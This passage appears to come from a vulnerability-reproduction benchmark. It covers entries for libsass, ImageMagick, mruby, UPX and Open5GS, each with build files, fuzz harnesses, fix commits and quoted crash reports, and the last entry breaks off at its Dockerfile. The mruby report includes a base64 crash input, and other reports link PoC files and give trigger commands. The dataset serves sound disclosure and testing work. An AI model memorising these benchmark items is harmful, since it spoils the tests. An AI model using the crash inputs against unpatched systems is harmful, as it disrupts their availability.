0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #26 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #27 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #28 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #29 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #30 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) ... ==6364==ABORTING [Inferior 1 (process 6364) exited with code 01] This vulnerability was triggered in function Sass::Eval::operator() (this=<optimized out>, b_in=<optimized out>) at eval.cpp 539 Expression_Ptr Eval::operator()(Binary_Expression_Ptr b_in) 540 { 541 542 Expression_Obj lhs = b_in->left(); 543 Expression_Obj rhs = b_in->right(); 544 enum Sass_OP op_type = b_in->optype(); ... 559 // Evaluate variables as early o 560 while (Variable_Ptr l_v = Cast<Variable>(lhs)) { 561 lhs = operator()(l_v); 562 } 563 while (Variable_Ptr r_v = Cast<Variable>(rhs)) { 564 rhs = operator()(r_v); 565 } 566 567 Binary_Expression_Obj b = b_in; 568 Actual results: crash Expected results: crash Additional info: Credits: This vulnerability is detected by team OWL337, with our custom fuzzer collAFL. Please contact ganshuitao and chaoz.cn if you need more info about the team, the tool or the vulnerability. Comments: Comment 1 Fedora End Of Life 2018-02-20 15:36:09 UTC This bug appears to have been reported against 'rawhide' during the Fedora 28 development cycle. Changing version to '28'. --- Comment 2 Ben Cotton 2019-05-02 22:02:11 UTC This message is a reminder that Fedora 28 is nearing its end of life. On 2019-May-28 Fedora will stop maintaining and issuing updates for Fedora 28. It is Fedora's policy to close all bug reports from releases that are no longer maintained. At that time this bug will be closed as EOL if it remains open with a Fedora 'version' of '28'. Package Maintainer: If you wish for this bug to remain open because you plan to fix it in a currently maintained version, simply change the 'version' to a later Fedora version. Thank you for reporting this issue and we are sorry that we were not able to fix it before Fedora 28 is end of life. If you would still like to see this bug fixed and are able to reproduce it against a later version of Fedora, you are encouraged change the 'version' to a later Fedora version prior this bug is closed as described in the policy above. Although we aim to fix as many bugs as possible during every release's lifetime, sometimes those efforts are overtaken by events. Often a more recent Fedora release includes newer upstream software that fixes bugs or makes them obsolete. --- Comment 3 Michael Catanzaro 2020-11-02 15:12:33 UTC Red Hat Bugzilla is not an appropriate forum for reporting security bugs in upstream components. As you can see, your bug report here has been ignored for three years, and will likely continue to be ignored, so I'm going to go ahead and close it. Please feel free to report this upstream if you want the developers to look at it. Attachments: Attachment 1314586: Triggered by "./sassc POC9" [Link: https://bugzilla.redhat.com/attachment.cgi?id=1314586]
[ { "content": "#include \"sass.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char* sass_data = (char*) malloc(sizeof(char) * size + 1);\n if (sass_data == NULL) return 0;\n\n memcpy(sass_data, data, size);\n sass_data[size] = '\\0';\n\n struct Sass_Data_Context* ctx = sass_make_data_context(sass_data);\n if (ctx == NULL) {\n free(sass_data);\n return 0;\n }\n\n struct Sass_Options* options = sass_make_options();\n if (options == NULL) {\n sass_delete_data_context(ctx);\n return 0;\n }\n\n sass_option_set_output_style(options, SASS_STYLE_NESTED);\n sass_option_set_precision(options, 5);\n\n sass_data_context_set_options(ctx, options);\n sass_compile_data_context(ctx);\n\n sass_delete_data_context(ctx);\n sass_delete_options(options);\n\n return 0;\n}\n", "filename": "data_context_fuzzer.cc" } ]
[]
imagemagick.cve-2017-14684
imagemagick/imagemagick
dcd5a5fed62ec861b955bd3da1d6f5592486c05a
2017-09-23T05:58:25
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout dcd5a5fed62ec861b955bd3da1d6f5592486c05a WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/770 ## Description: Issue: ImageMagick/ImageMagick#770 Title: memory leak in ResizeMagickMemory MagickCore/memory.c:1225 State: closed Created by: jerryl3e Created at: 2017-09-21 09:06:39+00:00 Labels: bug Issue Body: version: Version: ImageMagick 7.0.7-4 Q16 x86_64 gcc 7.1 crash link : https://raw.githubusercontent.com/jerryl3e/poc/master/im_poc_1505984356.vips trigger command : ./magick convert im_poc_1505984356.vips /dev/null detail : <pre> <code> root@work:/home/work/fuzzing/ImageMagick/utilities# ./magick convert im_poc_1505984356.vips /dev/null ================================================================= ==86680==ERROR: LeakSanitizer: detected memory leaks Direct leak of 1834159 byte(s) in 1 object(s) allocated from: #0 0x7f676d3ead10 in __interceptor_realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded10) #1 0x7f676c7c7feb in ResizeMagickMemory MagickCore/memory.c:1225 #2 0x7f676c7c806f in ResizeQuantumMemory MagickCore/memory.c:1289 #3 0x7f676c8fe6bf in ConcatenateString MagickCore/string.c:501 #4 0x7f676cc048c6 in ReadVIPSImage coders/vips.c:511 #5 0x7f676c5f36dd in ReadImage MagickCore/constitute.c:497 #6 0x7f676c5f65c4 in ReadImages MagickCore/constitute.c:866 #7 0x7f676bdae8be in ConvertImageCommand MagickWand/convert.c:641 #8 0x7f676bf29722 in MagickCommandGenesis MagickWand/mogrify.c:183 #9 0x401a15 in MagickMain utilities/magick.c:149 #10 0x401c8e in main utilities/magick.c:180 #11 0x7f676b49182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: 1834159 byte(s) leaked in 1 allocation(s). </code> </pre> Credit:jerryl3e of Baidu Security Lab Comments: Comment by mikayla-grace on 2017-09-21 10:19:45+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2017-09-22 05:23:05+00:00: This was assigned CVE-2017-14684.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "dd367e0c3c3f37fbf1c20fa107b67a668b22c6e2", "url": "https://github.com/ImageMagick/ImageMagick/commit/dd367e0c3c3f37fbf1c20fa107b67a668b22c6e2" }, { "sha": "a25142f284384a10306f14393d9bfd7af95ddfff", "url": "https://github.com/ImageMagick/ImageMagick/commit/a25142f284384a10306f14393d9bfd7af95ddfff" } ]
mruby.cve-2022-0632
mruby/mruby
f906ac314cbeca0da5dffa0fc736be0c4a388d7e
2022-02-19T00:49:44
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout f906ac314cbeca0da5dffa0fc736be0c4a388d7e WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/3e5bb8f6-30fd-4553-86dd-761e9459ce1b ## Description: Description There is a NULL Pointer Dereference in ary_concat (array.c:301). This bug has been found on mruby lastest commit (hash ecb28f4bf463483cf914c799d086b0cfff997aee) on Ubuntu 20.04 for x86_64/amd64. Proof of Concept The crash is not reproducible in a debug build, so a release build config must be used to reproduce it: 1- Clone repo and build with ASAN (but in non-debug mode) using MRUBY_CONFIG=build_config/poc_config.rb rake. With poc_config.rb being: MRuby::Build.new do |conf| conf.toolchain :clang # include the GEM box conf.gembox 'full-core' conf.enable_sanitizer "address,undefined" conf.enable_bintest conf.enable_test end 2- Use mruby to execute the poc (it is base64-encoded since it contains unprintable characters): $ echo -ne 'R0M6OmNsYXNzLm5ld3tzdXBlciBzdXBlciBzdXBlcigmKQpiPTAsKuk9MH0=' | base64 -d > poc $ ~/mruby/build/host/bin/mruby min /home/faraday/mruby/src/array.c:301:7: runtime error: member access within misaligned address 0x000000000001 for type 'struct RArray', which requires 8 byte alignment 0x000000000001: note: pointer points here <memory cannot be printed> SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/array.c:301:7 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==54835==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000012 (pc 0x00000055a515 bp 0x7ffe088eb5d0 sp 0x7ffe088ea940 T0) ==54835==The signal is caused by a READ memory access. ==54835==Hint: address points to the zero page. #0 0x55a515 in ary_concat /home/faraday/mruby/src/array.c:301:7 #1 0x55a515 in mrb_ary_concat /home/faraday/mruby/src/array.c:324:3 #2 0x5ae1c9 in mrb_vm_exec /home/faraday/mruby/src/vm.c:2622:9 #3 0x59ad77 in mrb_vm_run /home/faraday/mruby/src/vm.c:1128:12 #4 0x53f5b4 in mrb_mod_initialize /home/faraday/mruby/src/class.c:1648:5 #5 0x5bc37b in mrb_vm_exec /home/faraday/mruby/src/vm.c:1633:18 #6 0x59ad77 in mrb_vm_run /home/faraday/mruby/src/vm.c:1128:12 #7 0x692370 in mrb_load_exec /home/faraday/mruby/mrbgems/mruby-compiler/core/parse.y:6883:7 #8 0x69341f in mrb_load_detect_file_cxt /home/faraday/mruby/mrbgems/mruby-compiler/core/parse.y:6926:12 #9 0x4c69ee in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11 #10 0x7f6682c1d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x41c83d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41c83d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/array.c:301:7 in ary_concat ==54835==ABORTING Impact This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system. Acknowledgements This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team. Relevant Links: https://github.com/mruby/mruby
[]
[ { "sha": "3e5bb8f6", "url": null }, { "sha": "44f591aa8f7091e6ca6cb418e428ae6d4ceaf77d", "url": "https://github.com/mruby/mruby/commit/44f591aa8f7091e6ca6cb418e428ae6d4ceaf77d" }, { "sha": "ecb28f4bf463483cf914c799d086b0cfff997aee", "url": "https://github.com/mruby/mruby/commit/ecb28f4bf463483cf914c799d086b0cfff997aee" } ]
upx.cve-2021-43312
upx/upx
e0bf4609938b0b4d2e83469fac00206a771429e5
2022-10-28T03:34:31
upx
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake RUN git clone https://github.com/upx/upx upx RUN git -C upx checkout e0bf4609938b0b4d2e83469fac00206a771429e5 WORKDIR $SRC/upx COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sed -i 's/ \&\& __clang_major__ < 15//m' /src/upx/src/util/util.cpp mkdir -p build/debug cd build/debug cmake ../.. cmake --build . --target $fuzz_basename -v
/src/upx
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/upx/upx/issues/379 ## Description: Issue: upx/upx#379 Title: [bug] heap buffer overflow in PackLinuxElf64::invert_pt_dynamic at p_lx_elf.cpp:5239 State: closed Created by: 14isnot40 Created at: 2020-05-23 14:21:20+00:00 Issue Body: ## What's the problem (or question)? A heap-based buffer overflow was discovered in upx, during the variable 'bucket' points to an inaccessible address. The issue is being triggered in the function PackLinuxElf64::invert_pt_dynamic at p_lx_elf.cpp:5239. ASAN reports: ```bash ==110294==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63000000f760 at pc 0x000000466f38 bp 0x7ffcebb0b6a0 sp 0x7ffcebb0b690 READ of size 4 at 0x63000000f760 thread T0 #0 0x466f37 in PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> > const*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:5239 #1 0x46f660 in PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> > const*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:5127 #2 0x46f660 in PackLinuxElf64::PackLinuxElf64help1(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:795 #3 0x470479 in PackLinuxElf64Le::PackLinuxElf64Le(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.h:407 #4 0x470479 in PackLinuxElf64amd::PackLinuxElf64amd(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:1008 #5 0x4f34b2 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:194 #6 0x4f50f9 in PackMaster::getUnpacker(InputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:248 #7 0x4f521f in PackMaster::unpack(OutputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:266 #8 0x52a1e6 in do_one_file(char const*, char*) /home/test/Desktop/EVAULATION/upx/src/work.cpp:160 #9 0x52a69e in do_files(int, int, char**) /home/test/Desktop/EVAULATION/upx/src/work.cpp:271 #10 0x403ace in main /home/test/Desktop/EVAULATION/upx/src/main.cpp:1538 #11 0x7f8a7e1c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x404828 in _start (/home/test/Desktop/EVAULATION/upx/src/upx.out+0x404828) 0x63000000f760 is located 0 bytes to the right of 62304-byte region [0x630000000400,0x63000000f760) allocated by thread T0 here: #0 0x7f8a7edbc602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x42732a in MemBuffer::alloc(unsigned long long) /home/test/Desktop/EVAULATION/upx/src/mem.cpp:194 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:5239 PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> > const*) Shadow bytes around the buggy address: 0x0c607fff9e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c607fff9ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c607fff9eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c607fff9ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c607fff9ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c607fff9ee0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa 0x0c607fff9ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fff9f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fff9f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fff9f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fff9f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==110294==ABORTING ``` Then analysis the reasons for segv by debugging: ```bash Program received signal SIGSEGV, Segmentation fault. 0x000000000053b1a8 in PackLinuxElf64::invert_pt_dynamic (this=this@entry=0xa00030, dynp=<optimized out>) at p_lx_elf.cpp:5239 5239 if (buckets[j]) { [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0000000000a00030 → 0x0000000000726a30 → <vtable+0> add BYTE PTR [rax], al $rcx : 0x180 $rdx : 0xc00 $rsp : 0x00007fffffffcbf0 → 0x000000000065fa86 → <mem_size(unsigned+0> mov rax, QWORD PTR [rsp+0x10] $rbp : 0xffffffff $rsi : 0x7aa9 $rdi : 0x0000000000a01548 → 0x480000104fe81024 $rip : 0x000000000053b1a8 → <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov eax, DWORD PTR [rdi+rsi*4+0x14] $r8 : 0x12 $r9 : 0xffe0 $r10 : 0xc10 $r11 : 0x7 $r12 : 0x8 $r13 : 0x180 $r14 : 0x0000000000a0f4d8 → 0x000000000000000d $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffcbf0│+0x0000: 0x000000000065fa86 → <mem_size(unsigned+0> mov rax, QWORD PTR [rsp+0x10] ← $rsp 0x00007fffffffcbf8│+0x0008: 0x0000000000400298 → add eax, DWORD PTR [rax] 0x00007fffffffcc00│+0x0010: 0x000000000000ffe0 0x00007fffffffcc08│+0x0018: 0x000000000000f360 0x00007fffffffcc10│+0x0020: 0x00007ffff7352260 → <read+16> cmp rax, 0xfffffffffffff001 0x00007fffffffcc18│+0x0028: 0x000000000000f360 0x00007fffffffcc20│+0x0030: 0x00007ffff7362447 → <lseek64+7> cmp rax, 0xfffffffffffff001 0x00007fffffffcc28│+0x0038: 0x0000000000539692 → <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rax, QWORD PTR [rsp+0x10] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x53b197 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rcx, QWORD PTR [rsp+0x8] 0x53b19c <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rdx, QWORD PTR [rsp] 0x53b1a0 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> lea rsp, [rsp+0x98] → 0x53b1a8 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov eax, DWORD PTR [rdi+rsi*4+0x14] 0x53b1ac <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> test eax, eax 0x53b1ae <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> je 0x53b235 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> > const*)+7109> 0x53b1b4 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> lea rsp, [rsp-0x98] 0x53b1bc <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov QWORD PTR [rsp], rdx 0x53b1c0 <PackLinuxElf64::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov QWORD PTR [rsp+0x8], rcx ───────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:p_lx_elf.cpp+5239 ──── 5234 unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr; 5235 //unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except: 5236 // Rust and Android trim unused zeroes from high end of hasharr[] 5237 unsigned bmax = 0; 5238 for (unsigned j= 0; j < n_bucket; ++j) { → 5239 if (buckets[j]) { 5240 if (buckets[j] < symbias) { 5241 char msg[50]; snprintf(msg, sizeof(msg), 5242 "bad DT_GNU_HASH bucket[%d] < symbias{%#x}\n", 5243 buckets[j], symbias); 5244 throwCantPack(msg); ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "upx.out", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x53b1a8 → PackLinuxElf64::invert_pt_dynamic(this=0xa00030, dynp=<optimized out>) [#1] 0x53d654 → PackLinuxElf64::invert_pt_dynamic(dynp=<optimized out>, this=0xa00030) [#2] 0x53d654 → PackLinuxElf64::PackLinuxElf64help1(this=0xa00030, f=0x7fffffffce10) [#3] 0x53f186 → PackLinuxElf64Le::PackLinuxElf64Le(f=0x7fffffffce10, this=0xa00030) [#4] 0x53f186 → PackLinuxElf64amd::PackLinuxElf64amd(this=0xa00030, f=0x7fffffffce10) [#5] 0x6048ac → PackMaster::visitAllPackers(func=0x602c30 <try_unpack(Packer*, void*)>, f=0x7fffffffce10, o=0x7fffffffcfc8, user=0x7fffffffce10) [#6] 0x6072ca → PackMaster::getUnpacker(f=<optimized out>) [#7] 0x6072ca → PackMaster::unpack(this=0x7fffffffcfb0, fo=0x7fffffffcee0) [#8] 0x670dc5 → do_one_file(iname=0x7fffffffdf12 "id:000036,sig:11,src:000541+000827,op:MOpt-splice,rep:2", oname=0x7fffffffd550 "/dev/null") [#9] 0x67157c → do_files(i=0x4, argc=0x5, argv=0x7fffffffdac8) ``` The instruction to crash is, corresponds to the bucket [j] in the source code ```bash mov eax, DWORD PTR [rdi+rsi*4+0x14] ``` The register rdi and rsi are: ```bash $rsi : 0x7aa9 $rdi : 0x0000000000a01548 ``` The DWORD PTR pointer to 0xa20000, where is a invalid address. ```bash gef➤ x /10xg 0xa20000 0xa20000: Cannot access memory at address 0xa20000 ``` ## What should have happened? Decompress a crafted/suspicious file. ## Do you have an idea for a solution? A boundary check is needed for loop variable 'j' because the size allocated for variable 'buckets' is limited. ```cpp upx_uint64_t const *const bitmask = (upx_uint64_t const *)(void const *)&gashtab[4]; unsigned const *const buckets = (unsigned const *)&bitmask[n_bitmask]; unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr; //unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except: // Rust and Android trim unused zeroes from high end of hasharr[] unsigned bmax = 0; for (unsigned j= 0; j < n_bucket; ++j) { if (buckets[j]) { if (buckets[j] < symbias) { char msg[50]; snprintf(msg, sizeof(msg), "bad DT_GNU_HASH bucket[%d] < symbias{%#x}\n", buckets[j], symbias); throwCantPack(msg); } if (bmax < buckets[j]) { bmax = buckets[j]; } } } ``` ## How can we reproduce the issue? 1. compile upx with address-sanitize 2. execute cmd ```bash upx.out -df $PoC -o /dev/null ``` [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf64__invert_pt_dynamic) can be found here. ## Please tell us details about your environment. * UPX version used (`upx --version`): ```bash upx 4.0.0-git-c6b9e3c62d15 (latest-devel-branch) UCL data compression library 1.03 zlib data compression library 1.2.8 LZMA SDK version 4.43 ``` * Host Operating System and version: Ubuntu 16.04 64-bit * Host CPU architecture: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz with 8GB * Target Operating System and version: same as Host * Target CPU architecture: same as Host Comments: Comment by jreiser on 2020-05-28 00:13:08+00:00: Fixed on `devel` branch by above commit. --- Comment by jreiser on 2023-04-17 18:13:35+00:00: Verified as "problem is not present" in official release [upx-4.0.2](https://github.com/upx/upx/releases/tag/v4.0.2) of Jan.30, 2023: ``` $ $UPX402 -df hbo_PackLinuxElf64__invert_pt_dynamic -o /dev/null Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf64__invert_pt_dynamic: CantUnpackException: bad DT_{0x6} = 0x400010 (beyond EOF) Unpacked 0 files. ``` Also, the PoC file does not contain the string "UPX", so is independently verified as "not packed by UPX": ``` $ grep UPX hbo_PackLinuxElf64__invert_pt_dynamic ## empty output $ echo $? 1 ## no matches $ ```
[]
[ { "sha": "3d87b34754bbac3e171600be396ec652794b2cfa", "url": "https://github.com/upx/upx/commit/3d87b34754bbac3e171600be396ec652794b2cfa" }, { "sha": "828a6cf07b69bc7314e888d7b76f0eafe125a3f6", "url": "https://github.com/upx/upx/commit/828a6cf07b69bc7314e888d7b76f0eafe125a3f6" } ]
open5gs.cve-2024-40129
open5gs/open5gs
2aa12449aade5f50ed4710d9ac2eb8e1b96c43b9
2023-09-05T08:11:19
open5gs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends python3-pip python3-setuptools python3-wheel ninja-build build-essential flex bison git cmake meson libsctp-dev libgnutls28-dev libgcrypt-dev libssl-dev libidn11-dev libmongoc-dev libbson-dev libmicrohttpd-dev libcurl4-gnutls-dev libnghttp2-dev libtins-dev libtalloc-dev iproute2 ca-certificates netbase pkg-config && apt-get install -y autoconf libtool-bin RUN DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends python3-pip python3-setuptools python3-wheel ninja-build build-essential flex bison git cmake meson libsctp-dev libgnutls28-dev libgcrypt-dev libssl-dev libidn11-dev libmongoc-dev libbson-dev libmicrohttpd-dev libcurl4-gnutls-dev libnghttp2-dev libtins-dev libtalloc-dev iproute2 ca-certificates netbase pkg-config && apt-get install -y autoconf libtool-bin RUN apt-get install -y autoconf libtool-bin RUN git clone https://github.com/open5gs/open5gs open5gs RUN git -C open5gs checkout 2aa12449aade5f50ed4710d9ac2eb8e1b96c43b9 WORKDIR $SRC/open5gs COPY build.sh $SRC/
